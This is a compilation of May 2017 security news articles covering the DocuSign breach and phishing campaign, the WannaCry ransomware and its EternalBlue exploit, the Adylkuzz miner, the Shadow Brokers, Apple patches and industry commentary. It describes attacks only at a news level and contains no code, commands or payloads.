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The Electronic signature technology provider DocuSign suffered a data breach
17.5.2017 securityaffairs Incindent

Hackers broke into the system of the technology provider DocuSign and accessed customers email. The experts warn of possible spear phishing attacks.
The Electronic signature technology provider DocuSign suffered a data breach, hackers have stolen emails from one of its servers.

On Monday the company informed its customers of the data breach and warned them of fake emails set up to deliver weaponized Word documents, it also reported the incident to law enforcement agencies who are currently investigating the case.

DocuSign data breach

The malicious messages appeared to come from addresses such as dse@docus.com and dse@docusgn.com, they have the following subject lines:

“Completed: [domain name] – Wire transfer for recipient-name Document Ready for Signature” and “Completed [domain name/email address] – Accounting Invoice [Number] Document Ready for Signature.”

Threat actor behind the DocuSign hack launched a phishing campaign against the customers of the firms, anyway, announced hackers have broken into a “non-core system.” designed for sending service-related email announcements to users.

Spear Phishing campaigns following a data breach represent a serious threat for customers of the hacked firm.

The company notified the incident to the customers and advised users to be vigilant and to report any suspicious email to spam@docusign.com.

“[The emails] may appear suspicious because you don’t recognize the sender, weren’t expecting a document to sign, contain misspellings (like ‘docusgn.com’ without an ‘i’ or @docus.com), contain an attachment, or direct you to a link that starts with anything other than docusign.com or docusign.net,” DocuSign added.

According to DocuSign, hackers only accessed email addresses, there is no evidence that attackers accessed personal and financial information such as names, physical addresses, passwords, social security numbers, and payment card.

Below an excerpt from the data breach notification statement issued by DocuSign:

Last week and again yesterday, DocuSign detected an increase in phishing emails sent to some of our customers and users – and we posted alerts on the DocuSign Trust Center and in social media.
The emails “spoofed” the DocuSign brand in an attempt to trick recipients into opening an attached Word document that, when clicked, installs malicious software.
As part of our process in routine response to phishing incidents, we confirmed that DocuSign’s core eSignature service, envelopes and customer documents remain secure.
However, as part of our ongoing investigation, yesterday we confirmed that a malicious third party had gained temporary access to a separate, non-core system used for service-related announcements.
A complete forensic analysis has confirmed that only a list of email addresses were accessed; no names, physical addresses, passwords, social security numbers, credit card data or other information was accessed. No content or any customer documents sent through DocuSign’s eSignature system was accessed; DocuSign’s core eSignature service, envelopes and customer documents and data remain secure.
The company said it has blocked the hack and locked out attackers from its systems, it also announced additional security controls.


WannaCry – Important lessons from the first NSA-powered ransomware cyberattack
17.5.2017 securityaffairs Ransomware

Last Friday, a weaponized version of an NSA exploit was used to infect over two hundred thousand computers in over 150 countries with the WannaCry ransomware.
In addition to government ministries and transportation infrastructure, the British National Health Service (NHS) was crippled, disrupting treatment and care for thousands of patients, and putting countless lives at risk.

The indiscriminate use of an NSA authored weapon on the generWannacryal public is terrifying, and only made worse by the fact that the NSA could have largely prevented the attack. Instead, because the NSA stood by and did nothing, we have ended up in the scary world where American cyberweapons are being used to potentially kill British citizens in their hospital beds.

Wannacry

What went wrong?
The WannaCry infection that caused global chaos on Friday relied upon a Windows exploit called EternalBlue which was originally written by the NSA. Instead of responsibly disclosing the vulnerability when it was discovered, the NSA instead weaponized it and sought to keep it secret, believing that this weapon could be safely kept hidden.

Predictably, this was not the case, and in August 2016, the NSA was itself compromised, and their entire arsenal of illicit cyberweapons stolen. It’s rather ironic that the world’s largest surveillance agency believed that they would never be compromised.

It has become abundantly clear over the past decade that the notion of keeping attackers out forever is fundamentally flawed. Compromises are not a matter of if, but a matter of when (in fact, this is why we designed ProtonMail to be the first email service that can protect data even in the event of a compromise). If there’s anybody that should know this, it should be the NSA.

It gets even worse
It’s clear that in weaponizing a vulnerability instead of responsibly disclosing it (so hospitals and transportation infrastructure can be protected), the NSA made a critical error in judgment that put millions of people at risk. However, one would think that after learning 10 months ago that their entire cyberweapon arsenal had been stolen and was now out “in the wild”, the NSA would have immediately taken action and responsibly disclosed the vulnerabilities so systems around the world could be patched.

Unfortunately, there is no indication that they did so. If we read carefully the statement from Microsoft today, it appears the NSA deliberately withheld the information that would have allowed critical civilian infrastructure like hospitals to be protected. In our view, this is unforgivable and beyond irresponsible.

Instead, the Windows engineering team was left to work by themselves to find the vulnerabilities, which they finally did in March 2017, 8 months after the NSA learned the exploits had been stolen. More critically, Microsoft only managed to patch the vulnerabilities 2 months before last Friday’s attacks, which is not nearly enough time for all enterprise machines to be updated.

What is the bigger impact?
We think that US Congressman Ted Lieu is spot on when he wrote on Friday: “Today’s worldwide ransomware attack shows what can happen when the NSA or CIA write malware instead of disclosing the vulnerability to the software manufacturer.”

Friday’s attack is a clear demonstration of the damage that just a SINGLE exploit can do. If we have learned anything from the NSA hack, and the more recent CIA Vault7 leaks, it’s that potentially hundreds of additional exploits exist, many targeting other platforms, not just Microsoft Windows. Furthermore, many of these are probably already out “in the wild” and available to cyber criminals.

At this point, the NSA and CIA have a moral obligation to responsibly disclose all additional vulnerabilities. We would say that this goes beyond just a moral obligation. When your own cyber weapons are used against your own country, there is a duty to protect and defend, and responsible disclosure is now the only way forward.

Lessons Learned
Anybody working in online security will tell you that protecting against the bad guys is hard enough. The last thing we need is for the supposed “good guys” to be wreaking havoc. An undisclosed vulnerability is effectively a “back door” into supposedly secure computing environments, and as Friday’s attack aptly demonstrates, there is no such thing as a back door that only lets the good guys in.

This is the same fundamental issue that makes calls for encryption backdoors counterproductive and irresponsible. Despite repeated warnings from security industry experts, government officials in both the US and the UK have repeatedly called for encryption backdoors, which could grant special access into end-to-end encrypted systems like ProtonMail.

However, Friday’s WannaCry attacks clearly demonstrate that when it comes to security, there can be no middle ground. You either have security, or you don’t, and systems with backdoors in them are just fundamentally insecure. For this reason, we are unwilling to compromise on our position of no encryption backdoors, and we will continue to make our cryptography open source and auditable to ensure that there are no intentional or unintentional backdoors.

We firmly believe this is the only way forward in a world where cyberattacks are becoming increasingly common and more and more damaging, both economically and as a threat to democracy itself.


Cyber criminals claim to have stolen the new episode of the Pirates of the Caribbean film saga
17.5.2017 securityaffairs CyberCrime

Crooks claim have stolen the Walt Disney’s forthcoming Pirates of the Caribbean film and are threatening to release it in 20 minutes chunks.
Cybercriminals claim have stolen the Walt Disney’s forthcoming Pirates of the Caribbean film and are threatening to release it online if the company will not pay the ransom.

CEO Bob Iger, told a town hall meeting of ABC employees, that crooks claimed to have stolen a Disney’s upcoming film and are threatening to release it in segments online unless paid a bitcoin ransom. According to the media the film that has been stolen by the hackers it ‘Pirates of the Caribbean: Dead Men Tell No Tales’

“Walt Disney CEO Bob Iger revealed Monday that hackers claiming to have access to a Disney movie threatened to release it unless the studio paid a ransom. Iger didn’t disclose the name of the film, but said Disney is refusing to pay. The studio is working with federal investigators.” reported the Hollywood Reporter.

Pirates of the Caribbean Dead Men Tell No Tales

The cyber criminals have threatened to firstly release five minutes of the movie and then 20-minute segments unless the ransom is paid.

Iger confirmed that his company has refused to pay the crooks and that it is working with the FBI on the case.

Pirates of the Caribbean: Dead Men Tell No Tales, the fifth episode of the saga that is set for an official release on May 25th.

The Pirates of the Caribbean series is one of the most profitable Disney sagas, the company fears possible consequences of the data breach.

“The Pirates Of The Caribbean franchise has pulled in a whopping $3.72 billion in worldwide box office since first launching in 2003. It’s not clear how releasing the movie would impact the new film’s fortunes.” reported the Deadline.com.

Pirates of the Caribbean Dead Men Tell No Tales

Disney, as any other movie maker, are a lucrative target for crooks that intend to monetize their efforts by blackmailing the company.

A few days ago, a group of hackers threatened to upload the fifth season of Orange is the New Black online after Netflix refused to pay a ransom.

Back to the present, it is still unclear is hackers have really stolen the ‘Pirates of the Caribbean: Dead Men Tell No Tales.’

This kind of incident could have a serious impact on the movie makers, according to the Verge a few years ago, Lionsgate’s The Expendables 3 leaked prior to its release caused a flop at the box office.


Some machines can’t be infected by WannaCry because they have been already infected by Adylkuzz
17.5.2017 securityaffairs Ransomware

Security experts at ProofPoint security discovered that many machines can’t be infected by WannaCry because they have been already infected by Adylkuzz.
The recent WannaCry ransomware attack wasn’t the first to use the NSA-linked EternalBlue and DoublePulsar hacking tools.

Proofpoint researchers have discovered that the cryptocurrency miner Adylkuzz, was the first threat that used the EternalBlue exploit to trigger a vulnerability in the Server Message Block (SMB) protocol.

The botnet used the EternalBlue exploit to improve the malware propagation, meanwhile, the DoublePulsar backdoor was used to deliver a malicious payload on target machines.

Once the miner has infected a machine it will lose access to shared Windows resources and its performance slowly degrades, but most interesting thing is that the malware shuts down SMB networking to prevent infections with other malware.

This implies that machines infected by Adylkuzz could not be compromised by the WannaCry ransomware, the effects of the last mass-ransomware attack could have been more severe in absence of a threat that previously exploited the same flaw.

“Several large organizations reported network issues this morning that were originally attributed to the WannaCry campaign. However, because of the lack of ransom notices, we now believe that these problems might be associated with Adylkuzz activity. However, it should be noted that the Adylkuzz campaign significantly predates the WannaCry attack, beginning at least on May 2 and possibly as early as April 24.” wrote the security researcher Kafeine. “This attack is ongoing and, while less flashy than WannaCry, is nonetheless quite large and potentially quite disruptive.”

Kafeine speculates that the Adylkuzz malware has patched the vulnerability targeted by WannaCry, limiting the spreading of the ransomware.

Threat actors behind the Adylkuzz attack used several virtual private servers to power the attack, they exploited EternalBlue to compromise them, then the DoublePulsar backdoor is established to download and execute the Adylkuzz malware.

Once the Adylkuzz malware has infected a machine, the miner first stops any potential instances of itself and blocks SMB communication to avoid further infection.

The malicious code also determines the public IP address of the victim and then downloads the mining instructions, the Monero crypto miner, and cleanup tools.

“It then determines the public IP address of the victim and download the mining instructions, cryptominer, and cleanup tools.” continues Kafeine.

“It appears that at any given time there are multiple Adylkuzz command and control (C&C) servers hosting the cryptominer binaries and mining instructions.”

adylkuzz

The analysis of the mining payments associated with a Monero address used by the crooks suggests the attacks started on April 24, while on May 11, the actor supposedly switched to a new mining user address. Attackers received around $43,000 in payments to three distinct Monero addresses.

“We have currently identified over 20 hosts set up to scan and attack, and are aware of more than a dozen active Adylkuzz C&C servers. We also expect that there are many more Monero mining payment addresses and Adylkuzz C&C servers associated with this activity,” Kafeine added.


Shadow Brokers are back after WannaCry case, it plans to offer data dump on monthly subscription model
17.5.2017 securityaffairs BigBrothers

Shadow Brokers made the headlines once again, the notorious group plans to offer data dump on a monthly subscription model.
The notorious Shadow Brokers hacking group made the headlines during the weekend when systems worldwide were compromised by the WannaCry ransomware because the thread leveraged the EternalBlue exploit and DoublePulsar backdoor developed by the NSA.

Both tools were included in the huge trove of documents and exploits dumped by the Shadow Brokers last month after a failed attempt to auction off them.

The vulnerability exploited by the tools was fixed by Microsoft on March, but the company took the unusual decision of releasing patches for unsupported versions of its operating systems including Windows XP and Windows Server 2003.

Shadow Brokers decided to go out with a long message to netizens, the group criticized the US government and IT giants for the way have managed the exploits months before their public release.

Shadow Brokers

It references its posting of screenshots of Windows exploits from its haul, a development it credits for Microsoft’s release of an SMB (Server Message Block) patch in March, before attempting to justify its release of tools a month later in April, warning there was a lot more where that came from.

“In April, 90 days from the Equation Group show and tell, 30 days from Microsoft patch, theshadowbrokers dumps old Linux (auction file) and windows ops disks. Because why not? TheShadowBrokers is having many more where coming from? “75% of U.S. cyber arsenal” TheShadowBrokers dumped 2013 OddJob from ROCTOOLS and 2013 JEEPFLEAMARKET from /TARGETS.” states the Shadow Brokers’s message.

“In April, 90 days from theequationgroup show and tell, 30 days from Microsoft patch, theshadowbrokers dumps old Linux (auction file) and windows ops disks. Because why not? TheShadowBrokers is having many more where coming from? “75% of U.S. cyber arsenal”.TheShadowBrokers dumped 2013 OddJob from ROCTOOLS and 2013 JEEPFLEAMARKET from /TARGETS. This is theshadowbrokers way of telling theequationgroup “all your bases are belong to us”. TheShadowBrokers is not being interested in stealing grandmothers’ retirement money. This is always being about theshadowbrokers vs theequationgroup.”

According to the Shadow Brokers, the NSA-linked EquationGroup has clearly infiltrated tech giants, including Microsoft. The hacking group says it plans to sell off new exploits every month from June onwards. Windows 10, web browser and router exploits along with “compromised network data from more SWIFT providers and Central banks” are among the items that might be offered through the “dump of the month” service.

The hacking crews announce it plans to sell off new exploits every month starting from June, a data dump based on a monthly subscription model.

The group claims to have exploit codes for almost any technology available on the market, including “compromised network data from more SWIFT providers and Central banks.”

TheShadowBrokers Monthly Data Dump could be being:

web browser, router, handset exploits and tools
select items from newer Ops Disks, including newer exploits for Windows 10
compromised network data from more SWIFT providers and Central banks
compromised network data from Russian, Chinese, Iranian, or North Korean nukes and missile programs
“In June, TheShadowBrokers is announcing “TheShadowBrokers Data Dump of the Month” service. TheShadowBrokers is launching new monthly subscription model. Is being like wine of month club. Each month peoples can be paying membership fee, then getting members only data dump each month. What members doing with data after is up to members.” continues the group’s message.

Experts believe the Shadow Brokers team would shut down operations permanently and is looking for a “responsible party is buying all lost data before it is being sold.”


World Close to 'Serious Digital Sabotage': Dutch Spy Chief

17.5.2017 securityweek BigBrothers
The world may be close to a "serious act of digital sabotage" which could trigger unrest, "chaos and disorder," Dutch spy chief Rob Bertholee warned Tuesday.

Sabotage of critical infrastructure "is the kind of thing that might keep you awake at night," Bertholee told a timely cyber security conference in The Hague, as global experts grapple with the fallout of a massive cyberattack over the past days.

Digital threats "are not imaginary, they are everywhere around us," the head of the country's intelligence services (AIVD) told the conference organised by the Dutch government.

"In my opinion, we might be closer to a serious act of digital sabotage than a lot of people can imagine," he told hundreds of experts and officials.

Bertholee highlighted how in 2012 the computers at Saudi Arabia's largest oil company came under brief attack, or how three years later Ukrainian electricity companies were hacked causing a massive blackout lasting several hours.

The world's infrastructure was heavily interconnected, which had huge benefits, but also "vulnerabilities".

"Imagine what would happen if the entire banking system were sabotaged for a day, two days, for a week," he asked.

"Or if there was a breakdown in our transportation network. Or if air traffic controllers faced cyberattacks while directing flights. The consequences could be catastrophic."

Added Bertholee: "Sabotage on one of these sectors could have major public repercussions, causing unrest, chaos and disorder."

The threat of "cyber terrorism" from terror groups such as the so-called Islamic State jihadist and Al-Qaeda was still limited, he said, but "jihadist-inspired terrorism is the number one priority" of the Dutch intelligence services.

"The level of technical expertise available to a jihadist group is still insufficient to inflict significant damage or personal injury through digital sabotage," Bertholee said.

"They may not yet have the capability but they definitely have the intent," he warned.

Countries must be prepared for future threats in the digital domain, with governments and private sector working closely together, as this is "where our societies have become most vulnerable," he said.

Security researchers investigating the massive cyberattack campaign over past days on Tuesday reported signs that it might be slowing, and suggested a possible North Korean link.

In the first clues of the origin of the massive ransomware attacks, Google researcher Neel Mehta posted computer code that showed similarities between the "WannaCry" malware and a vast hacking effort widely attributed to Pyongyang.

Europol meanwhile said the number of affected IP addresses around the world was 163,745 -- a 38 percent percent fall from the 226,000 reported on Sunday.


North Korea Possibly Behind WannaCry Ransomware Attacks

17.5.2017 securityweek Ransomware
An earlier WannaCry ransomware sample shows code similarities with malware used by a North Korea-linked hacking group responsible for multiple financial and destructive attacks, security researchers say.

Considered the world’s biggest ransomware attack to date, WannaCry went on rampage over the weekend, hitting targets in 150 countries and infecting over 230,000 computers at its peak. The spread slowed down on Monday, but not before new malware variations emerged.

The ransomware’s weak point was a hardcoded domain used for sandbox evasion, which also served as a kill-switch: once the domain was registered, the malware no longer infected new machines.

North Korea Behind WannaCry Ransomware?

Responsible for the massive outbreak was a worm component abusing the NSA-linked EternalBlue exploit to target a vulnerability in Windows’ Server Message Block (SMB). Microsoft addressed the flaw in its March 2017 security updates (the MS17-010 patch), and also issued an emergency patch for unsupported platforms over the weekend.

WannaCry initially emerged in February, but didn’t make an impact then. Unlike the most recent attack, the previous infection runs used standard distribution methods, such as spam emails and malware droppers. The recent ransomware samples are also different from the previous iteration, code-wise.

Neel Mehta, a researcher at Google, was the first to notice code similarities between the February 2017 WannaCry variant and a February 2015 sample tied to the North Korean-linked hacking group Lazarus. The actor is supposedly responsible for the $81 million cyber heist from Bangladesh's account at the New York Federal Reserve Bank in 2016 and for the devastating attack against Sony Pictures in 2014.

Also referred to as BlueNoroff, Lazarus has been associated with various global attacks, and security researchers consider it the most serious threat against banks. Earlier this year, the actor targeted banks in Poland as part of a larger campaign targeting financial organizations around the world.

“The scale of the Lazarus operations is shocking. The group has been very active since 2011 and was originally disclosed when Novetta published the results of its Operation Blockbuster research. During that research, hundreds of samples were collected and show that Lazarus is operating a malware factory that produces new samples via multiple independent conveyors,” Kaspersky Lab says.

At the moment, Neel Mehta’s discovery represents the most significant clue related to WannaCry’s origins, as it didn’t take long before others confirmed the connection with Lazarus, including Kaspersky, Matthieu Suiche from Comae Technologies, and Symantec.

According to Kaspersky, it’s improbable that the code similarities represent a false flag. The Lazarus-linked code present in the early variant of WannaCry has been removed in the later versions, but both ransomware variants were “compiled by the same people, or by people with access to the same sourcecode,” the security firm says.

Symantec, on the other hand, was also able to pinpoint exactly the Lazarus tools the older WannaCry samples share similarities with. “This SSL implementation uses a specific sequence of 75 ciphers which to date have only been seen across Lazarus tools (including Contopee and Brambul) and WannaCry variants,” the company said.

Last year, Symantec linked the Banswift Trojan that was used in the Bangladesh attack to manipulate SWIFT transactions with early variants of Contopee, which was already known to be used by attackers associated with Lazarus. In their report on Op Blockbuster, BAE Systems also suggested the Bangladesh heist and the 2014 Sony attack were linked.

“Symantec identified the presence of tools exclusively used by Lazarus on machines also infected with earlier versions of WannaCry. These earlier variants of WannaCry did not have the ability to spread via SMB. The Lazarus tools could potentially have been used as method of propagating WannaCry, but this is unconfirmed,” the security firm continues.

A definite link between Lazarus and WannaCry can’t be established at the moment, but the connection certainly requires further investigation. Symantec says they plan a deeper analysis of this, while Kaspersky has shared its Yara rule and has also called for other security firms to look into this.


Apple Patches Vulnerabilities Disclosed at Pwn2Own

17.5.2017 securityweek Apple
Apple on Monday released a new set of security updates to address more than 100 vulnerabilities in its products, including five that were disclosed at Pwn2Own in March 2017.

Four of the 37 bugs resolved in macOS Sierra 10.12.5 were disclosed at Pwn2Own: a Use-After-Free Privilege Escalation in IOGraphics (CVE-2017-2545), a Stack-based Buffer Overflow Privilege Escalation in WindowServer (CVE-2017-2541), an Information Disclosure in WindowServer (CVE-2017-2540), and an Unsigned Dylib Loading Privilege Escalation in Speech Framework (CVE-2017-6977).

The platform release also resolved issues in 802.1X, Accessibility Framework, CoreAnimation, CoreAudio, HFS, iBooks, Intel Graphics Driver, IOSurface, Kernel, Multi-Touch, NVIDIA Graphics Drivers, Sandbox, SQLite, and TextInput.

Exploitation of these bugs could lead to the capturing of user network credentials, arbitrary code execution, privilege escalation, sandbox escape, reading of restricted memory, the opening of arbitrary websites without user permission.

The newly released iOS 10.3.2 patches 41 bugs affecting AVEVideoEncoder, CoreAudio, iBooks, IOSurface, Kernel, Notifications, Safari, Security, SQLite, TextInput, and WebKit. The flaws could result in privilege escalation, arbitrary code execution, denial of service, reading of restricted memory, the execution of unsigned code, and universal cross site scripting.

A total of 26 vulnerabilities were resolved with the release of Safari 10.1.1. Two issues were addressed in Safari and could result in application denial of service or address bar spoofing, while the remaining 24 were patched in WebKit and could lead to arbitrary code execution, universal cross site scripting, or execution of unsigned code.

One of these was CVE-2017-2544, an Array concat Integer Overflow Remote Code Execution disclosed at Pawn2Own by 360 Security (@mj0011sec) working with Trend Micro's Zero Day Initiative.

Apple fixed 12 bugs with the release of watchOS 3.2.2, affecting AVEVideoEncoder, CoreAudio, IOSurface, Kernel, SQLite, TextInput, and WebKit. Most could lead to arbitrary code execution, but some allow for privilege escalation or the reading of restricted memory.

Of the 23 flaws tvOS 10.2.1 resolves, 12 were found in WebKit and impacted Safari and iOS as well. The remaining issues affected AVEVideoEncoder, CoreAudio, IOSurface, Kernel, SQLite, and TextInput.

Additionally, Apple released iTunes 12.6.1 for Windows and iCloud for Windows 6.2.1 to resolve an arbitrary code execution bug in each (CVE-2017-6984 and CVE-2017-2530, respectively).


Industry Reactions to WannaCry Ransomware Attacks

17.5.2017 securityweek ICS  Ransomware
The WannaCry ransomware, also known as Wanna Decryptor, WanaCrypt0r, WannaCrypt, Wana Decrypt0r and WCry, has infected more than 200,000 devices worldwide. The attacks affected banks, hospitals, ISPs, government agencies, transportation companies and manufacturing plants.

While the campaign has earned the attackers more than $50,000 in just a few days, some experts are not convinced that profit-driven cybercriminals are behind the operation, and suggested that it could be the work of a nation-state actor, including one sponsored by North Korea.

The attacks involved exploits dubbed EternalBlue and DoublePulsar, both leaked recently by a hacker group calling itself Shadow Brokers. The exploits were allegedly used by a threat actor called the Equation Group, which has been linked to the NSA.

The EternalBlue exploit leverages a Server Message Block (SMB) vulnerability in Windows that can be exploited remotely without user interaction, which is the main reason why the ransomware managed to wreak havoc.

The flaw was patched by Microsoft in March and the company has even made available fixes for outdated versions of Windows. However, many organizations have not installed the patches and in the case of industrial control systems (ICS), which are also at risk, the situation is more complicated.

Industry professionals shared thoughts on the WannaCry attacks, including the ICS, insurance, legal, cybersecurity strategy, attribution and other aspects of the story.

And the feedback begins…

Phil Neray, VP of Industrial Cybersecurity, CyberX:

“At the risk of sounding overly paranoid, I find it hard to believe that someone would orchestrate a global coordinated attack like this just to earn 50 thousand dollars. Security guru Bruce Schneier recently wrote that Russia and other nation-states often commit cyber-actions just for bragging purposes. For me, it's completely tenable that WannaCry is simply the Russians bragging they're already so deep into our critical infrastructure that we can't do anything about it.

Either way, it's worth noting that many of the SCADA applications embedded in our electrical grid and manufacturing plants were developed years ago and are tethered to older versions of Windows -- so the fix isn't going to be easy.

In the meantime, we should treat this attack as a persistent threat and continuously monitor both IT and OT networks for unusual activity. After all, how do we know that the same vulnerabilities haven't already been well-exploited for cyber-reconnaissance and cyber-espionage purposes? Or, that this isn't just the first phase of a more elaborate targeted campaign with the goal of causing massive disruption to our critical infrastructure and our economies?"
Wendi Whitmore, Global Lead, IBM X-Force IRIS:

“Based on IBM X-Force analysis of over 500M spam e-mails, it seems likely the initial victims of the WannaCry ransomware did not get infected by opening a malicious e-mail or attachments. This means that criminals might have compromised systems by other means. This makes finding “patient zero” even more critical in the investigation. IBM X-Force is actively working with clients and law enforcement to track down this data.

Since Asia and Europe have come online today we’ve seen a modest increase in the amount of victims paying the ransom. So far, cybercriminals have pulled in $54,877.46 which continues to grow at ~1 BTC per hour.

Given the widespread propagation of the WannaCry ransomware in Eastern Europe and Asia, our research team suggests that these regions may be using older Microsoft software that is unsupported or pirated.”
Joe Facciponti, attorney with Cadwalader, Wickersham & Taft:

“The ransomware attack raises the possibility that victims will face regulatory enforcement actions and civil litigation in the U.S. and elsewhere. Indeed, last fall the former Chairwoman of the Federal Trade Commission (“FTC”) warned U.S. businesses, in the context of addressing ransomware, that a company’s “unreasonable” failure to patch vulnerabilities might be cause for an enforcement action under the FTC Act. Further, the possibility of harm to consumers – particular those who are potentially harmed by the loss of sensitive medical or financial data – raise the possibility of costly class action litigation against companies that are the victims of ransomware attacks.”
Bill Kelly, Senior Vice President, E&O Underwriting, Argo Group:

“Watching this story continue to unravel, has truly highlighted the need for cyber insurance. Any company can experience a vulnerability no matter how prepared they think they are. While ransomware can result in a company paying small, very random amounts, business interruption can be much more significant and can potentially cost millions.

There will always be a vulnerability that can’t be controlled and from an insurance standpoint, this is validation for the industry. In addition to having companies properly train their employees and ensure that they are up to speed on the importance of updating software patches in a consistent routine and have backup plans in place, it pays to have cyber insurance. Cybersecurity breaches are a reality every business must think about and having a whole team dedicated to helping you when something like this happens - from breach coaches and responders to forensic investigators - it's the best way to mitigate damages. We're continuing to learn from attacks like these by researching and working with industry experts to better understand the best ways to mitigate losses for our clients.”
Jackson Shaw, senior director of product management at One Identity:

“I applaud Microsoft for making the bold move to patch older, unsupported operating systems. They are under no obligation to do so and the organizations that did not upgrade their systems despite Microsoft’s statements that the OSes were moving to an unsupported state must accept the risk and responsibility for their decision. I liken it to this: when was the last time you took your eight year old car in for service and the repair shop said, “Don’t worry. I’ll just find that part which is no longer being produced and have it here in twelve hours for you…free of charge.” That’s what Microsoft did.

Will Microsoft’s release of a patch encourage organizations NOT to upgrade older systems? Probably. But what a shame that will be. If they don’t, they will be hacked again. And again. And again.

I applaud Microsoft’s desire to have a Digital Geneva Convention but at the same time, feel it’s a bit naïve. Attacking a civilian or a hospital with a grenade is far easier to spot and track than cyber weapons. And honestly, do we expect hackers, people who are behind these dreadful attacks, to adhere to some ethical set of guidelines? I think not.”
Barak Perelman, CEO, Indegy:

“The first response to this threat is to make sure all Windows-based machines are patched - this is a standard best practice. However, in industrial environments not all systems can be patched, since some support continuous operations that must operate 24X7. Such systems can't be restarted for example. There are also concerns around system availability and stability associated with deploying security patches.

Meanwhile, non-Windows based systems in industrial networks are also exposed to cyber threats and are much more difficult to protect. This includes the critical automation controllers (PLCs, RTUs and DCS controllers) that can't be easily patched, or don't have patches available. To make matters worse, due to the lack of encryption and access controls in industrial networks, attackers do not need to exploit vulnerabilities in order to compromise these critical control devices and shutdown operations.”
Brad Hegrat, Director of Advisory Services, IOActive:

“Historically, general purpose, run of the mill malware that leverages SMB and NetBIOS interfaces in the industrial environment are particularly troublesome, with many systems remaining infected many years later.
[...]
With the WannaCry/WanaCrypt ransomware in the wild, crossing into industrial control systems would be particularly devastating. Systems requiring real-time interfacing and control influence over physical assets could face safety/critical shutdown, or worse. When thinking about critical services to modern society (power, water, wastewater, etc.), there is a real potential, potentially for the first time ever, where critical services could be suspended due to ransomware. It may be time to rethink critical infrastructure cybersecurity engineering, because if MS17-010 exploiting malware variants are successful, we are clearly doing something wrong.”
Kevin Curran, IEEE Senior Member and Cybersecurity Professor at Ulster University:

“The spread of the attack was brought to a sudden halt when one UK cybersecurity researcher found and inadvertently activated a “kill switch” in the malicious software. It turns out that the virus was coded to check to see if an obscure website address was registered and live and to halt if this was the case. It was effectively a kill switch. This however can easily be overcome in a modified release which is what has already happened. Yes, this has indeed slowed the initial attack but this is only the first wave of such wormable ransomware attacks.

Finally, the warnings that security experts have been sounding for years has finally come to the attention of the public - that is that more money needs to be spent on cybersecurity and that organizations need to run modern patched operating systems and educate their staff in safe computing and of course to simply back up. Regular off premises (or non-network attached) backups would have prevented this modern nightmare.”
Chris Goettl, product manager at Ivanti:

“Most effective malware has the ability to adapt and use a number of exploits to infect and propagate. We are witnessing a jackpot or perfect storm combination that has allowed this attack to be so effective so quickly. It reminds me of incidents like Conficker, where all the right exploits came together to create the Mona Lisa of cyber attacks.

One tweet criticized Edward Snowden and called out the NSA for not privately disclosing the SMBv1 exploit when they first discovered it. While I do not condone agencies for discovering exploits and keeping them quiet, which puts us at long term risk, this vulnerability had the potential to contribute just as badly to an attack of this magnitude, regardless. Think about it: whether the vulnerability was disclosed a year ago or just recently, a knowledgeable attacker would have taken advantage of the vulnerability. This update, regardless of when it was released, made a change in the handling of SMB traffic which could cause significant issues when rolling out an update.”
Moshe Ben-Simon, co-founder & VP services at Trapx:

“Due to compliance regulations, such as HIPPA, healthcare network admins cannot easily update Internet connected medical devices with the newest operating systems and patches. These devices are sealed to protect the equipment from failure in the event a software update inadvertently affects the operation of the device. While this ultimately protects patients from potential harm from a malfunctioning device, it has the potential leave the network open to attackers who are finding new ways to exploit old vulnerabilities, such as the recent WannaCry attack. If these devices aren’t updated by the manufacturers immediately, they will continue to be susceptible to these types of attacks.

To better protect hospital networks that are using Internet connected medical devices, we recommend, reviewing and beefing up backup processes. It becomes essential to have an offsite backup on a daily basis. More important is a robust, tested, disaster recovery process that ensures core IT systems can be brought back up in a few hours. Most hospitals have backup in place to support compliance, of course, but really cannot restore key applications and recover operations fast enough in the face of a ransomware attack. When an environment faces a true disaster, even a well-planned disaster recovery strategy will typically take days until full operations are restored. Do the work to make sure this takes only a few hours.”
Ilia Kolochenko, CEO of High-Tech Bridge:

"This incident exposes how a two-month old vulnerability can cause global panic and paralyze the largest companies and governmental institutions on all continents. Worse, cybercriminals could have easily released this worm just after the NSA's 0day was leaked two months ago, and this would have led to much more destructive consequences.
[...]
It would be unreasonable and inappropriate to blame the NSA for any significant contribution to this attack. Similar 0days are bought and sold almost every day, and many other organizations participate in these auctions - virtually anyone can (un)intentionally leak an exploit and cause similar damage. The real problem is that in 2017, the largest companies and governments still fail to patch publicly disclosed flaws for months. Practically speaking, the NSA doesn't really need a 0day to get their data - their negligence "invite" attackers to get in.

Companies and organizations that have fallen victim to this attack, can consider contacting their legal departments to evaluate whether their IT contractors can be held liable for negligence and breach of duty. Failure to update production systems for over two months - can certainly qualify at least as carelessness in many jurisdictions."
Erez Breiman, CTO, Minera Labs:

“The WannaCry outbreak highlights the challenges of defending legacy systems and services that are hard to patch, isolate and otherwise protect without impeding performance, violating vendor contracts or inconveniencing business users. As we already know, WannaCry uses a well-known exploit to access vulnerable machines via the SMB protocol. Optimized for the speed of propagation, this worm doesn’t attempt to hiding itself or attempt to evade detection mechanisms. After all, systems that are missing patches and that are not isolated behind a firewall that blocks unnecessary ports are also missing baseline antivirus and other endpoint security products. Organizations can contain the spread of malware to such systems by employing malware vaccination to stabilize the situation.”
Sean Sullivan, security advisor at F-Secure:

“This is a blast from the past as this kind of ransomware isn’t anything new. For far too long, organizations have been ignoring basic firewall hygiene which is why WannaCry has gotten out of hand so easily.

“This is not the worst-case scenario. The silver lining is that this wasn’t a destructive terrorist or nation state attack. Because it was profit-driven, it was designed to be undone upon payment and therefore there may be a chance to recover. However, this is a huge proof of concept for nation state actors that want to do something that might not be recoverable.”
Dana Simberkoff, chief compliance and risk officer at AvePoint:

“Within a company, security and data protection are not just the job of your CISO and CPO. It's everyone’s responsibility every day. Your employees may not be responsible for updating their corporate laptops and company issued devices, but if they're connecting to your corporate networks with personal devices, or home computers, they must be responsibly applying patches and updates to their own systems. Good cyber hygiene requires that you patch and update your operating systems regularly and as often as necessary. Operating systems that were properly patched were protected from this vulnerability by default.

Going forward you must implement continuous and ongoing education of your employees. This education cannot be a once a year training course, but rather it must be pervasive throughout the culture of your organization. Because in the absence of security education or experience, people (employees, users, and customers) naturally make poor security decisions with technology. This means that systems need to be easy to use securely and difficult to use insecurely. Your security and data protection education program should include information about the importance of patching your operating systems and the direct tie of “unpatched systems” to vulnerabilities.”
Phillip Hallam-Baker, principal scientist, Comodo:

“Ransomware is following the same trajectory as phishing. The criminals have worked out how to monetize the crime, and they know which types of businesses are likely to pay up-- and how to collect the money without being caught.

